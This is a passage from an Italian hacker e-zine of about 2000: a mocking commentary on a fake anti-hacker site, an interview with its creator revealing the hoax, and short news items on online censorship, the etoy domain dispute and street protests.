(Hanno bisogno di commenti??? IO mi convinco sempre di + che in realta' non esista nulla....dove sono i nomi che dovevate fare??? Fino ad ora non ne ho visto nemmeno uno!) -[Hackers, Lamers, Crachers]- (Le pagine sono ancora in costruzione, ma quelli del LISA vogliono cmq lasciarci con una, anzi due perle...) I Lamer sono come gli hackers ma conoscono meno tecnicamente le cose e quindi fanno meno danni. Di solito sono studenti delle scuole superiori metre gli hackers sono laureati in informatica. (Allora la maggiorparte dei tipi che conosco sono lamer....nuovo elemento per identificare gli hackers....sono dottori in informatica! Per distruggere gli Hackers, non si potrebbero arrestare tutti gli studenti delle facolta' di informatica?) I crachers sono hacker che vendono i programmi falsificandone le copie illegalmente. (Quello che hai scritto tu non vuol dire nemmeno "Salatino" ) -[Link Hackers]- Metto solo quelli italiani giusto per fare qualche piccola puntualizzazione: LINK ITALIANI PERICOLOSI !!!! www.s0ftpj.org - Pubblicano dei file di testo che chiamano BFI , non leggete questi file di testo perche' sono pieni di virus che si installano nel computer mentre vengogo decompressati, sono dei virus degli zip. WWW.SPIPPOLATORI.COM - Sono pienei di backdoor e di virus. Attenzione a non scaricare nessun loro programma, vi dicono che sono hackers-buoni ma il motivo e' solo quello di invogliarvi a scaricare i loro programmi. La loro rivista si chiama Netrunner e contiene virus e articoli per invogliare i lettori ad aprirla. WWW.DISLESSICI.ORG - Sono come gli spippolatori, forse peggio perche' usano linux di preferenza. Fanno una rivista che si chiama Newbies e una volta avevano messo anche delle foto su come scassinare le cabine telfoniche!! (Piccolissimo errore di attribuzione riviste...) WWW.UIC.CJB.NET - Chiamano loro stessi Universita' Italiana del Craching. Ultimamente si sono fusi agli spippolatori e infatti potrete trovare il loro nuovo sito sotto WWW.UIC-SPIPPOLATORI.COM sono capeggiati da un certe Quaqquero (nome leggermente modificato sempre via delle ritorsioni) che dice di essere il miglior crachers italiano. In effetti producono la quasi totalita' dei crach in Italia e per questo li abbiamo denuciati piu' volte alle forze dell'ordine che pero' non si sono mai mosse. (1=non ho mai visto crack preparati dalla UIC, 2=Quequero [o forse QuaQquero?] non ha MAI detto di essere il miglior cracker in italia....Leggere AiS per credere ;-))) 3=Il vero URL e'http://quequero.cjb.net [al posto di http://UIC.cjb.net] Fanno una rivista che si chiama Wannabe ma io non ne ho mai vista una in rete, secondo me per riceverla bisogna iscriversi su qualche chat che solo loro usano e conoscono, cio' vi puo' far vedere quanto la cosa sara' illegale! (A parte che c'e' stato un altro errore di attribuzione, ma chi l'ha detto che per avere WannaBe bisogna iscriversi a qualche chat????? Mah, continuo sempre di + a non capirci nulla...) WWW.KR0ME.com - Dicono di essere americani e scrivono tutto in americano ma il loro capo e' un certo Nords -anche questo nome e' stat modificato leggermente- che tutto e' fuorche' americano!!!! -[link sicurezza]- (tralasciamo....) -[NG Hackers]- NG HACKER E IRC Questi sono i posti dove potete trovarli!!! Noi ci siamo SEMPRE anche se usiamo dei nick diversi da quelli messi qui. Il controllo e' la cosa migliore prima della cura!!! (Si, come il dentifricio ed il dentista che mangia la mela e dice "Prevenire e' meglio che curare!) Newsgroup dove li potete trovare. Vi avvertiamo in anticipo che e' meglio evitare di andare a postare qualcosa su questi newsgroup perche' questa gente riesce a scoprire da i messaggi che postate molto facilmente il posto da dove scrivete. Non stiamo nemmeno a dirvi quanti virus e' facile predere ma vi ricordiamo che ultimamente hanno inventato alcuni virus che si trasmettono direttamente via newsgroup percui solo andando a leggere certi messaggi prestabiliti e' possibile trovarsi il computer infettato da qualche backdoor o da qualche programma di loro invenzione. Lasciate queste cose a noi che sappiamo come muoverci le informazioni che riportiamo sotto dovranno essere prese solo per sapere dove trovarli nel caso ce ne fosse bisogno per una denuncia. (Uno si sveglia la mattina e fa:"mah oggi che faccio? Denunciamo qualche hacker, ora vedo se in qualche NG qualcuno si fa volontario..." PATETICO!) alt.bio.hackers alt.2600 alt.dss.hack alt.fan.tonya-harding.whack.whack.whack alt.hack.tr alt.hacker alt.hackers alt.hackers.cough.cough.cough fido7.omni.nethack free.italian.hackers it.comp.hackers Siti IRC dove li potete trovare. #haccc #hackers #hacker.italia #hackers.lamer.net (Se permettete [PUBBLICITA' MANCO TANTO OCCULTA ;-))))] inserirei anche) #aisprod #area61 (fine pubblicita') -[NG Sicurezza]- NG SICUREZZA Questi sono ng dove potete trovare persone competenti che possono aiutarvi a combattere la minaccia hacker. Molti di loro sono gia nostri soci e molte delle informazioni che noi diamo gratuitamente tramite la L.I.S.A. vengono gia usate da loro come strumento per l'individuazione degli hacker. Newsgroup sulla sicurezza Fate comunque molta attenzione perche' anche qui si annidano gruppi di hacker che si spacciano per esperti di sicurezza al solo scopo di fare amicizia con voi per poi causarvi qualche danno! Ricordate sempre che fidarsi e' bene ma non fidarsi e' meglio!!! (Seh, ed una rondine non fa primavera....e non esistono + le mezze stagioni!) it.comp.sicurezza.cert-it it.comp.sicurezza.unix it.comp.sicurezza.varie it.comp.sicurezza.virus it.comp.sicurezza.windows -[Files]- FILES I programmi che vi servirebbe di conoscere per combattere gli hackers. Nella lista non sono compresi per motivi di segretezza i programmi di nostra produzione e che vi daremo solo dopo l'inscrizione. (Sono sempre + convinto del fatto che non esiste NULLA!) Come prima cosa la LISA e' lieta di regalarvi questa guida di TanaDoS che vi aiutera' se proprio di rete non ne capite niente tanto per cominciare. La guida e' compressa con il programma zip quindi per leggerla dovrete prima scomprimerla. Se questo non vi risultera' facile potete scriverci al nostro indirizzo di posta elettronica LISACLUBS@HOTMAIL.COM dandoci i vostri dati personali reali!!!! -che noi controlleremo per evitare abusi- e vi spediremo la guida in formato testo gia scompressa. (Per un semplice winzip chiedere i dati personali??? Se avete problemi basta usare winzip Wizard ed andare sempre avanti....) PROGRAMMI CHE SONO GIA NEL VOSTRO COMPUTER PING.EXE Serve per sapere se il uno ha il computer attivo sulla rete. TELNET.EXE Questo e' il programma piu' usato dagli hacker quindi anche voi dovreste imparare ad usarlo. Non e' semplice e per conoscere a fondo tutti i comandi come noi vi servono i documenti in inglese tradotti in italiano che vi forniremo gratuitamente dopo l'inscrizione. Con questo potrete fare di tutto, proteggervi dagli attacchi e consultare le banche dati. (Cuoce anche un Bisonte in 45 secondi!) NETSTAT.EXE Serve per sapere se avete delle porte aperte da qualche backdoor sul vostro computer. Si puo' usare anche Nuckers Nabbers che lo fa meglio e protegge dalle intrusioni. (Ancora questo nukers nabber....ma che e'???????????) Se volete sapere quali sono le porte che vi possono attaccare e come si fa per chiuderle dovete leggere il file chiamato SERVICE che sta dentro dove avete messo WINDOWS. Li ci sono scritte tutte le porte dentro le quali gli hackers vi leggono l'hd. (Altra fantastica spiegazione degna di cotanto gruppo) NBTSTAT.EXE Serve agli hackers per sapere se vi possono attaccare senza usare le backdoor. Questo a voi pero' serve poco. -------------------------------------------------------------------------------- PROGRAMMI CHE SONO GIA NEL VOSTRO COMPUTER SE AVETE LINUX (se avete windows si trovano sul sito www.astalavista.box.sk) NETCAT.EXE E' come il telnet di windows pero' meglio. Si trovano tanti manuali in rete su astalavista fatti ha hackers per cose illegali. Noi ve ne forniremo uno fatto da noi che vi servira' invece per controbatterli. Potete anche leggere i loro assieme ai nostri se sono cosi' stupidi da pubblicare le loro tecniche perche' noi non dovremmo utlizzarli. Noi non pubblichermo le nostre che useremo pero' ogni volta contro di loro quando se ne presentera' l'occasione giusta. (Non capisco...) IPCHAIN.EXE Questo serve per protervi dagli attacchi. Potete dire che un certo IP non deve entrate nel vostro computer se non volete. L'equivalente per windows e' come vi avevamo gia detto Nuckers Nabber. Se avete linux con la distribuzione Redhat come me non c'e' pero' e va installato dal compat disk di un altra distribuzione tipo la Mandrake. (E tutta questa ignoranza perche' ti mancavano 2 esami alla laurea? Quali erano quelli che ti mancavano "Accensione PC2" e "Autoexec.bat"?????) PROGRAMMI DI DIFESA E DI CONTROATTACCO AGLI HACKERS: -per questi dovete inscrivervi pero'- (Consiglio vivamente un nukers nabber! ;-)) -------------------------------------------------------------------------------- TUTTI I PROGRAMMI CHE VI SERVONO VI VERRANNO FORNITI GRATUITAMENTE!!! (E le 35 karte di prima????) SE VOI RITERRETE DI DOVERCI DARE QUALCOSA PER PERMETTERCI DI CONTINUARE LE NOSTRE RICERCHE E PORTARE AVANTI LA NOSTRA E LA VOSTRA LOTTA CONTRO GLI HACKER SARA' SOLO DI VOSTRA INIZIATIVA. NOI NON VI CHIEDIAMO NULLA. -[strumenti online]- (Rippaggio generale....e per resatre in tema...) -[ Lo Scrittore .html ]- E' la vera chicca di questo sito, in cui il caro TanaDos ha totalmente RIPPATO un homebuilder, ed ha cercato di camuffarlo [per esempio traducendo le varie msgbox che comparivano dopo la pressione dei pulsanti]...anche se dopo' un po' si e' stancato e ha lasciato i Msgbox in INGLESE...peggio di cosi'! :-)) -[Aiutateci!]- AIUTATECI! La L.I.S.A. e' uno strumento troppo importante perche' possa morire per mancanza di fondi!!! NOI PERO' NON VI CHIEDIAMO SOLDI!!! a differenza di tutti gli altri che lo fanno in ogni occasione. Noi siamo dei professionisti e non dei mercanti. Se pero' vorrete darci un aiuto economico anche nel vostro interesse lo potrete fare inviando un vaglia con un vostro contributo al seguente conto corrente CC - 238112/1248 intestato a Mazzocconi P.I. Andrea (Non esiste nessun Mazzocconi nelle zone di roma [il MSG di presentazione postato su vari NG e' stato spedito da l]...uhm, qui gatta ci cova...) Vanno bene anche mille lire se non avete altro perche' l'importante non e' la somma quanto il gesto. Avervi dalla nostra porte significa per noi fare numero e aumentare le motivazioni che ci invogliano alla lotta. Ringraziamo anticipatamente tutti quelli che vorranno contribuire per quello che potranno. -[Leggi]- (LISTA DELLE LEGGI CON QUALCHE VARIAZIONE.....come come? echelon vi e' stato messo a disposiziona dai pulotti e voi non lo utilizzate???? bene! meno male!) -[Perche' sopprimerli]- PERCHE' SOPPRIMERLI Se avete letto questa pagina questo sito non fa per voi!!! RIFLETTETECI SU'!!! (Io sinceramente sto pensando per quale motivo sto ancora qui a scrivervi...) -[Siamo nel giusto?]- SIAMO NEL GIUSTO? Vi rispondiamo in tutta onesta': NOI PENSIAMO DI SI! Ci siamo chiesti attentamente questa cosa tra di noi prima di mettere in rete questo sito. Non pensate che siamo gente senza scrupoli o senza un anima. Noi pensiamo di essere nel giusto malgrado cio' dato che il nostro principale obbiettivo e' rivolto al sociale vogliamo che chiunque di voi legge queste pagine si senta libero di farci pervenire la sua opinione che sia esso un hacker o una persona come le altre. (Lo abbiamo constatato dalle flames di risposta che mandate...vedi AHCCC) Per questo abbiamo un indirizzo postale lisaclubs@hotmail.com dove scrivendoci riceverete comunque delle risposte educate qualunque siano i vostri commenti. (Vedi sopra) Accetteremo di buon grado ogni vostro commento, aiuti per migliorare questo sito e anche critiche. Noi pero' indipendentemente da tutto continueremo la nostra lotta affinche' la rete diventi un gionro un posto migliore dove vivere, questa consierazione sia di aiuto a coloro che ci vorranno sostenere e di monito a tutti quelli che ritengono gli altri solo merce per i loro giochi criminali. (Mi ricorda vagamente un certo CAVALIERE....mUmBle MumBle...) -[Sostenitori]- IN FASE DI COSTRUZIONE. Qui metteremo la lista di tutti coloro che ci sosterranno economicamente se loro lo vorranno, altrimenti terremo i loro dati riservati e non saranno mai usati per spam o altre cose illecite. (Non verranno mai usate perche' non ci sono....) Qui finisce il loro sitoweb....non so che dire, sono sconcertato, non vedevo cose simili, e soprattutto non ridevo cosi' tanto da tempo...ma qui molte volte si e' esagerato....ora io ho tre ipotesi da trarre: 1) Sono residuati del timone... 2) Sono tizi che tramite un po' di Social Enginering cercano di avere + info possibili sulla gente.... 3) E' tutto uno scherzo... Questo articolo, oltre ad essere pubblicato su AiS2, e' stato spedito alla mailbox di LISA....sperando in una risposta... Un saluto a tutti, sperando di avervi fatto SBELLICARE dalle risate, e di avervi fatto rendere conto quanta cacca c'e' ancora nella rete.... =] pArT Tw0 [= -[NOOOOOOO, non e' possibile!!!!!!!! ]- 17/04/2000 Dopo aver perso quasi una domenica per scrivere l'articolo di sopra, mi aspetta una bella SORPRESINA....... Leggo sul newsgroup ahccc che la LISA era tutto uno scherzo, ideato e portato avanti da Master degli SpiPPolatori... Segue un intervista allo stesso Master fatta da me, con tutte i motivi che lo hanno spinto a creare un "mostro" come la LISA...buon divertimento! <0ld> =0ldir0n61 =Master <0ld> Dov'eri il giorno 15-04-00 intorno alle 11:42????? OPS! niente scusa, ho sbagliato modalita' di interrogatorio, pardon intervista! ;-) he he <0ld> Ora si fa sul serio....... 1)Da quanto tempo meditavi un'uscita del genere??? Da quando apparve in rete lo strampalato sito di Eduardo Freni analogo a quello della Lisa anche se serio nei contenuti, "millantava"(secondo me) troppi adepti e avrei vouto sin da subito fare una verifica personale.. i tempi non erano maturi allora.. oggi a quasi un anno di distanza si. :) <0ld> 2)Ma in realta' chi e' TanaDos? E perche' questo nome? TanaDos..."ti conosco da poco Dos" o anche "la morte del dos" .. insomma un sistema come un altro per dichiarare la palese imbecillita' del soggetto. :) <0ld> 3)Cosa ti ha spinto a mettere su la LISA??? Quali erano i tuoi obiettivi? Cosa volevi ottenere? Mi ha spinto una vita, da buon fiorentino, dedicata al cazzeggio e allo scherzo pur se questo dovesse portar via tempo e fatiche alle piu' remunerative attivita' lavorative per il sostentamento. :) Cmq diciamo che c'era di base la voglia di dimostrare almenoun paio di fatti importanti: 1. la prevenzione contro gli hacker e' una cosa spesso inspiegabile dai piu' ma cio' nonostante molto tangibile.. i quasi cento "adepti" che fino ad oggi avrebbero voluto accompagnare TanDos nella sua purificazione della rete ne sono la dimostrazione. 2. La gente preferisce la devozione all'idiota ben pubblicizzato che trascina verso il baratro dell'ignoranza piuttosto che seguire un motivato idealista che proponga il ragionamento e la strada per la salvezza. (Io chiamo questo: "il principio di Berlusconi") <0ld> 4)Dopo la piccola avventura, conclusasi con la tua "confessione", quali conclusioni sei riuscito a trarre??? Principalmente che la realta' e' sempre peggio di quello che uno si aspetta. Mi aspettavo infatti qualche risata, un certo quantitativo di odio, molte insofferenze, un canestro della spesa di offese, .. tutte cose normali. Ho invece ricevuto come TanaDos complimenti per la mia preparazione e per la battaglia che intendevo portare avanti, offerte di collaborazione gratuita nei laboratori della Lisa, offerte di materiale per il laboratorio, ecc.. Insomma pensavo di aver creato con TanaDos un pazzo deficiente e invece mi sono accorto che poi in fondo non era certo peggio di tanti altri. :))) <0ld> 5)Dici di aver ricevuto molte E-mail, sia di sostegno, che di contestazione: in quale proporzione? allo stato attuale (tanti hanno continuato poi a scrivere anche dopo l'ultimo aggiornamento con la 'confessione' perche' probabilmente avevano letto il sito una sola volta o magari ne avevano fatto un mirror e quindi non erano al corrente di tutta la faccenda) Ci sono state mote centinaia di mail (non arriviamo al migliaio ma quasi! :)) )... la percentuale di "devoti" fino all'aggiornamento si aggirava sul 30% .. dopo e' ragionevolmente calata. In tutto ci sono state circa una ottantina di persone diverse che seriamente mi hanno dato il conforto della loro adesione. Il peggio e' stato spiegargli "dopo" che era tutto falso e qualcuno ancora non riesce a capirlo! :)) <0ld> 6)Cita qualche mail che ti ha colpito profondamente, sia in positivo che in negativo. he he .. li vorrei citare tutti :)) Alcune mail sia votive che ingiuriose indipendentemente dalla loro particolare categoria erano veramente poetiche , pero' c'e' una legge sulla privacy e una legge non scritta sulla coscienza (ma che cmq io rispetto) che non mi permette di farlo. :) <0ld> 7)Alla storia della LISA, almeno io, ci sono cascato in pieno. Questo perche' purtroppo gente del genere esiste (Ogni riferimento a cose, persone, fatti realmente accaduti, ed oggetti NAUTICI, e' da considerarsi quasi del tutto casuale...;-)) In base alle informazioni che hai ottenuto grazie (o per colpa, fai tu) alla LISA, pensi che la strada mancante alla TOTALE comprensione e distinzione dei termini (Hacker, "Cracher", Lamer) sia ancora molta? praticamente non c'e' strada da percorrere. :) Gli hacker sono dei delinquenti. Stop. Alla gente non importa nulla delle varie definizioni, loro sentono il telegiornale dove Lamberto Sposini che solitamente ha difficolta' a memorizzare i numeri di telefono nel suo cellulare perche' l'uso dello shift gli resta oscuro dice "gli hacker hanno rubato un camion di prosciutti! La polizia ne ha arrestato uno che ha confessato : -stavo troppo su internet e mi era venuta fame- " .. con queste notiziole ilari ci fanno audience e il fatto che poi si vada a "spalmare" in giro per il mondo un substrato di informazione non corrette poco importa. Un tizio anni fa al Maurizio Costanzo Show, vero o falso che fosse quello che diceva, sosteneva di essere stato arrestato per hacking in Italia [ cosa strana perche' dagli anni 70 a oggi c'hanno arrestato solo in 4 e ci conosciamo tutti! :)) ] cmq a parte cio' comincio' a spiegare la differenza tra hacking etico e paranoid , tra lamer e hacker, la funzione dei cracker, ecc.. La gente dormiva .. dopo tre minuti il conduttore sopito passo' a Vittorio Sgarbi che si mise a offendere una insegnante poverella di Ancona per una sua poesia che parlava di rami "divelti" e l'amico hacker non si vide mai piu', Vittorio Sgarbi e' sempre in tlevisione.. parlar di cazzi rende piu' che parlare di protocolli di rete ovviamente. :)) <0ld> 8)In puro stile RIDDLE, avevi lasciato qualche indizio che riportava a te (No. CCP, link subdoli, etc.etc.) Speravi che qualcuno ti "tanasse" (Tanto per restare in tema) prima che tu confessassi tutto?????? Ovviamente .. il bello sta proprio qui. Il sito farlocco deve portare "la verita' dentro di se" nascosta in modo tale che il non vederla deve essere motivo di riflessione tanto quanto il vederla. <0ld> 9)Qualcuno ci e' riuscito? In casa SPP qualche manianco dei miei riddle .. Bhutta, Fritz, Brigante... all'esterno tanti hanno detto che lo avevano capito sin da subito .. pero' me l'hanno detto dopo. :)) <0ld> 10)Ma soprattutto, perche' l'hai fatta durare cosi' poco? Guardando i posts su Ahccc la cosa poteva andare MOLTO, ma MOLTO per le lunghe... come mai ti sei scoperto dopo appena 2gg.????? Come ho gia' detto se ricevevo solo insulti il sito "tanto per ridere" poteva ancora esser li a svolgere la sua funzione di faro per l'imbecillita' umana. E fra l'altro poteva essere anche una sorta di vista -complice- per coloro che si potevano ritenere sub-dotati tecnicamente .. infatti questi ultimi avrebbero potuto sempre affermare "Guarda quelli .. rispetto a loro io sono come Aleph1! " :)) Purtroppo la gente che voleva collaborare seriamente stava aumentando oltre le mie capacita' di tenuta psicologica, esattamente come vedere la morte o la sofferenza ti deprime cosi' a me deprimeva vedere tanti poveracci ignoranti ed angelici che cercavano di seguirmi pensando di essere i cavalieri della tavola rotonda e di aver trovato il proprio re Artu'. Sarei stato solo a capo di una mandra di deficienti .. per un istante mi sono sentito come Bossi e ho preferito chiudere. :)) hi hi hi Ringrazio Master degli Spp per la gentilissima collaborazione, anche se sono ancora MOLTO OFFESO [ ;)) ], visto che ho perso una domenica (sottratta ai miei sollazzi del week-end) per scrivere un'articolo che poi si e' rivelato inutile. INUTILE???? mah alla fin dei conti niente e' inutile....... ;))))))))))))))))) Ed adesso........AIS #2!!!!!!!!!!!! ---0ldir0n61---- -=!!!|-iN dIrEtTa dA dIsInf0-|!!!=- Autore: +--------------------------------------------+ / >>>>> >>> >>>>> >>> > > >>>>>> >>>>> /| / < < < < < << < < < < /| / > > > >>>>> > > > > >>>> > > /| / < < < < < < < < < < < /| / >>>>> >>> >>>>> >>> > >> > >>>>> /| +--------------------------------------------+| |||||||||||||||||||||||||||||||||||||||||||||| DiSiNfO è una agenzia (dis)informativa autonoma, tenendo conto che i media ufficiali dicono solo ciò che ci vogliono fare sapere, ci proponiamo di aggiornarvi con notizie prese in giro, notizie che i media ufficiali non pubblicano. ATTENZIONE: "Questa edizione del telegiornare andra' in onda in forma ridotta per venire incontro alle vostre capacita' mentali" (frase celebre di Daniele Luttazzi) A parte ogni scherzo, mi spiace comunicarvi che l'edizione di DISINFO presente in questo numero e' aggiornata solamente a gennaio ma, per motivi tecnici non ho potuto dedicarmi agli aggiornamenti e, me ne scuso. Vi prometto che non si ripetera' al prossimo numero di questa e-zine. +--- SiLeNzIo In ReTe ---+ ]22/11/1999[ CeNsUrA ] La SIAE da diversi mesi ha chiesto e ottenuto da alcuni dei più importanti siti italiani commerciali di musica, da Bollicine.IT a Vitaminic.IT, un contratto di licenza, una "licenza sperimentale" che costa alcuni milioni e che giustifica la distribuzione di clip musicali online. Rockit, sito No-Profit gestito da appassionati, distribuisce brevissimi brani di pezzi di rock italiano, sotto i 30 secondi di lunghezza e molto spesso di autori poco conosciuti che non solo consentono ma chiedono proprio di essere inseriti e ascoltati online. Ma, per usare le parole di Rockit, "da questo momento il sito non e' più autorizzato a utilizzare qualsiasi tipo di clip audio a meno di non versare alcuni milioni nella casse della SIAE" La cosa rende ancora più urgente una presa di posizione forte e univoca da parte di musicisti e stampa sulla liberta' di poter utilizzare brevi campionamenti come fonte informativa, simile alla citazione fra virgolette del testo, senza che chicchessia venga ad accampare diritti assurdi. InFo At: http://www.rockit.it/ http://www.punto-informatico.it/pi.asp?n=pi19991122ne001a.pin TnX tO: Neural ------------> http://www.pandora.it/neural Ferry Byte --------> http://strano.net/ Punto Informatico -> http://www.punto-informatico.it/ +--- CeNsUrA aNtI-nAzIsTi ---+ ]16/12/1999[ CeNsUrA ] In Germania non si possono vendere "oggetti ricordo" dell'epoca nazista. Il fatto che utenti internet tedeschi possano però acquistarli sulla rete, sul sito di eBay, ha spinto il Simon Wiesenthal Center a chiedere ad eBay di rimuovere certi oggetti messi all'asta sulle sue pagine. Non è la prima volta che il Wiesenthal interviene per censurare il commercio di materiale legato alla Germania nazista. Proprio il Wiesenthal, infatti, sembra sia dietro la decisione di Amazon.com di impedire agli utenti tedeschi di comprare la versione in inglese del Mein Kampf, il "testamento" di Adolf Hitler. Stando alla lettera del Center a eBay, gli oggetti individuati sulle pagine online della casa d'aste in alcuni casi "glorificano il Nazismo". Pare che quelli del Wiesenthal facciano sul serio, tanto che nei prossimi giorni chiederanno l'intervento del ministro della Giustizia tedesco. eBay ha risposto affermando che la propria policy vieta la vendita di questi oggetti in Germania ma che devono essere gli utenti a lamentarsi perché il problema venga preso in considerazione dal management. Non solo, sostengono a eBay, la casa d'aste non è responsabile se qualche utente tedesco viola la legge del proprio paese. Di conseguenza eBay non ha intenzione, per il momento, di impedire "tecnologicamente" la vendita degli oggetti. InFo At: http://www.punto-informatico.it/pi.asp?n=pi19991126ne014a.pin +--- TeLeKoM eVoLuTiOn ---+ ]16/12/1999[ TeChNoLoGy ] E' nata la 'cybercabina' una sorta di cabina telefonica dove, con una carta prepagata, è possibile connettersi ad internet. E' stata installata presso a Milano da Telecom Italia . La navigazione in rete costa 200 lire al minuto e si paga con una comune scheda telefonica. Telecom ha intenzione di installare nuovi punti di accesso in varie citta' nei luoghi dove maggiore è il passaggio di persone, dalle stazioni agli aeroporti, dalle università alle caserme. InFo At: http://www.punto-informatico.it/pi.asp?n=pi19991216ne001a.pin http://www.ansa.it/settori/internet/199912151304509850.html http://www.flashnet.it/ansa/agenzia.php3?id=8632 http://www.asca.it/News/15143304.shtml +--- Etoy vs eTOYS---+ ]23/12/1999[ HaCkTiViSm/CeNsUrA ] Il sito in Apache corrispondente al dominio www.etoy.com è stato sospeso, ed è attivo solo tramite il suo indirizzo di IP. Tutto per colpa dell' azienda di giocattoli americana eToys che ha da tempo cerca di far chiudere il dominio legato alle attivita' degli artisti austro-svizzeri Etoy (divenuti famoso per l'operazione del digital hijack, il dirottamento digitale descritto nel libro di Nico Piro, Cyberterrorismo), accusando gli artisti di "dirottare" i consumatori a causa della quasi omonimia dei rispettivi domini. La battaglia sta tirando dentro intere comunita' di hacker, gruppi di alternativa digitale e organizzazioni per i diritti della rete come la EFF. A San Francisco il gruppo ha fatto sapere di avere intenzione di contrastare gli abusi di eTOYS e costituirsi per controbattere l'offensiva commerciale che sta cambiando il volto e il significato della rete intera: "un gigante dell'ebusiness sta mettendo a repentaglio l'esistenza di una compagnia di artisti... Questo caso verte su chi ha il diritto di condurre business, operare, esprimersi ed esistere nel cyberspazio". Noi -hanno spiegato altri difensori di etoy.com- vogliamo semplicemente esistere come abbiamo fatto finora con un progetto artistico creativo e importante. Non si può derubare l'identità di un artista. Etoy non è eToys. Ma, signore e signori, ora si è tra l'incudine di una corporazione e il martello di un tribunale. Il caso è effettivamente di interesse globale perché se vincesse eToys, sostengono tutti gli intervenuti nell'incontro di San Francisco a cui hanno partecipato i rappresentanti del gruppo di artisti, "si deciderebbe un precedente per cui un artista può essere buttato fuori dalla rete, illegittimamente, illogicamente e illegalmente" Il 29 novembre, con una sentenza-shock il giudice John P. Shook, tribunale di Los Angeles, stabiliva in udienza preliminare (cioè prima del dibattito vero e proprio) la sospensione del dominio www.etoy.com facendo di fatto proprie le richieste dei legali della compagnia eTOYS che accusavano il dominio di etoy di "inquinare la trasparenza del mercato". Una cosa che deve far riflettere è che il dominio di Etoy esisteva dall'ottobre 1995 mentre quello della corporation eTOYS solo dall'ottobre 1997. Prima della sentenza la compagnia aveva offerto a Etoy 100.000 dollari per acquistarne il dominio. Etoy aveva respinto l'offerta e si era preparato alla battaglia legale. InFo At: http://www.punto-informatico.it/pi.asp?n=pi19991223ne001a.pin http://146.228.204.72:8080/ http://www.toywar.com/ http://www.eviltoy.com/ http://rtmark.com/etoy http://www.geocities.com/SoHo/Cafe/8541/toywar2.html TnX tO: Neural ---------------------> http://www.pandora.it/neural Punto Informatico ----------> http://www.punto-informatico.it/ Ferry Byte -----------------> http://strano.net/ Snafu ----------------------> mailing list cyber rights Mondo Underground Webzine --> http://www.geocities.com/SoHo/Cafe/8541/ +--- BaTtAgLiA al CoRtEo RoMaNo ---+ ]15/01/00 [ MoViMeNtO ] (CORRIERE DELLA SERA) - Scontri tra manifestanti e agenti di polizia, ieri mattina, a un chilometro di distanza dal cancello d?ingresso del centro di accoglienza per immigrati che è in località Ponte Galeria, sulla via Portuense. La polizia ha caricato i partecipanti al corteo che era stato organizzato per protestare contro le condizioni in cui vivono gli extracomunitari. C'erano rappresentanti dei centri sociali di Roma, di Milano e del Nord-Est e poi esponenti del partito della Rifondazione comunista, dei Verdi e dei Cobas. E? pesante il bilancio degli incidenti. I feriti, tutti non gravi, sono stati quattordici: otto poliziotti, due carabinieri e quattro manifestanti. I manifestanti, poco meno di un migliaio, avrebbero voluto far aprire il loro corteo da un furgone Fiat Iveco, a bordo del quale - è quanto riferiscono gli agenti - erano però stati caricati alcuni pneumatici e una specie di grossa lancia, lunga quasi cinque metri: una sorta di Ğarieteğ che ai funzionari della questura ha subito ricordato quello utilizzato lo scorso anno, in piazza della Repubblica, quando i dimostranti, che chiedevano la libertà del leader curdo Ocalan, assaltarono la sede delle linee aeree turche. Le cariche delle forze dell'ordine sono state numerose e si sono succedute dalle 11.30 alle 14. Il lancio di candelotti lacrimogeni è stato fitto: come quello delle pietre, scagliate dai manifestanti. In questura, le cariche sono state definite Ğazioni di contenimentoğ, ma non sono certo dello stesso parere alcuni parlamentari che, dopo aver preso parte al corteo e aver assistito agli scontri, si sono poi recati in questura, dove hanno incontrato il questore La Barbera. I parlamentari Paolo Cento dei Verdi e Walter De Cesaris e Giovanni Russo Spena di Rifondazione hanno espresso Ğformale protesta per come è stato gestito l'ordine pubblico a Ponte Galeriağ. Per i tre esponenti politici, Ğa Roma sono state sospese le libertà costituzionaliğ e, per questo, hanno annunciato al questore La Barbera che Ğal più presto, per fare luce su quanto accaduto durante una normale manifestazione di protestağ, verrà chiesto l?intervento del governoğ. +---CaSsOnEtTi In FiAmMe A NaPoLi---+ ]18/01/00 [ MoViMeNtO ] (ANSA) - Tensione stamane in piazza a Napoli, dove da un corteo autorizzato di lavoratori socialmente utili e disoccupati, si sono staccati gruppi che hanno dato fuoco a numerosi cassonetti dei rifiuti e organizzato blocchi stradali. I manifestanti paralizzano tuttora l'incrocio tra via Medina e via Monteoliveto, nel centro della citta', dove sono stati capovolti sulla carreggiata alcuni cassonetti. Le forze dell'ordine sono intervenute per contenere gruppi di disoccupati e Lsu che, giunti in piazza Matteotti, a pochi metri dalla Questura, hanno cercato di entrare nel palazzo dove ha sede la Provincia, lanciando anche pietre e oggetti. Alcuni manifestanti hanno cominciato a dare fuoco ai cassonetti presenti nella piazza, incendiando poi anche quelli delle strade vicine. Un gruppo si e' quindi diretto verso il vicino incrocio e lo ha bloccato con altri cassonetti. Le forze dell'ordine presidiano con un cordone il palazzo della Provincia e al momento tengono sotto controllo i manifestanti. Il corteo, organizzato da Lsu e disoccupati del Movimento di lotta per il lavoro (complessivamente circa 500 persone, alle quali si sono uniti anche manifestanti provenienti da Acerra), era partito da piazza del Gesu', nel centro storico, ed ha raggiunto, cosi' come previsto, la sede dell'amministrazione provinciale. ---cYb0rG--- [Dgt_Brains] _.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._ |_-_-_-_-_-_-_-_-!!!-=[ AnArChY|iN|tHe|SyStEm ]=-!!!-_-_-_-_-_-_-_-_| |.-._.-._.-._.-._.-._.-._.uNiVeRsAl E-ZiNe-._.-._.-._.-._.-._.-._.-.| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+ |:.......................:InDeX_oF_cOnTeNtS:.......................:| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+ |/.\'/.\'/.\'/.\ArTiCoLo/.\'/.\'/./|\'/.\'/.\'/.\AuToRe/.\'/.\'/.\'\| +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<| |>>>>>>>>>>>>>>>>>>>>>>>>>> -=| iNTr0 |=- >>>>>>>>>>>>>>>>>>>>>>>>>>| 